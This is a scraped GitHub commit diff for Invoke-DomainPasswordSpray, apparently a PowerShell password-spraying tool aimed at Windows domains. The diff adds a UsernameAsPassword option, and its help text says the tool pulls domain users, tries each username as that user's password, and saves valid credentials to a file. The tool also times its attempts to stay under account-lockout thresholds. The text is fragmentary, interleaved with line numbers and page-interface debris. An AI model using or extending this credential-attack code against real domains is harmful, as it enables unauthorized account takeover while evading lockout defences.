You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
@@ -58,6 +62,13 @@ function Invoke-DomainPasswordSpray{
58
62
-----------
59
63
This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window.
This command will automatically generate a list of users from the current user's domain and attempt to authenticate as each user by using their username as their password. Any valid credentials will be saved to valid-creds.txt
61
72
62
73
#>
63
74
param(
@@ -88,10 +99,16 @@ function Invoke-DomainPasswordSpray{
88
99
[Parameter(Position=6,Mandatory=$false)]
89
100
[switch]
90
101
$Force,
91
-
[Parameter(Mandatory=$false)]
102
+
103
+
[Parameter(Position=7,Mandatory=$false)]
104
+
[switch]
105
+
$UsernameAsPassword,
106
+
107
+
[Parameter(Position=8,Mandatory=$false)]
92
108
[int]
93
109
$Delay=0,
94
-
[Parameter(Mandatory=$false)]
110
+
111
+
[Parameter(Position=9,Mandatory=$false)]
95
112
$Jitter=0
96
113
97
114
)
@@ -100,6 +117,10 @@ function Invoke-DomainPasswordSpray{
100
117
{
101
118
$Passwords=@($Password)
102
119
}
120
+
elseif($UsernameAsPassword)
121
+
{
122
+
$Passwords=""
123
+
}
103
124
elseif($PasswordList)
104
125
{
105
126
$Passwords=Get-Content$PasswordList
@@ -190,15 +211,22 @@ function Invoke-DomainPasswordSpray{
190
211
Write-Host-ForegroundColor Yellow "[*] Password spraying has begun with "$Passwords.count" passwords"
191
212
Write-Host"[*] This might take a while depending on the total number of users"
0 commit comments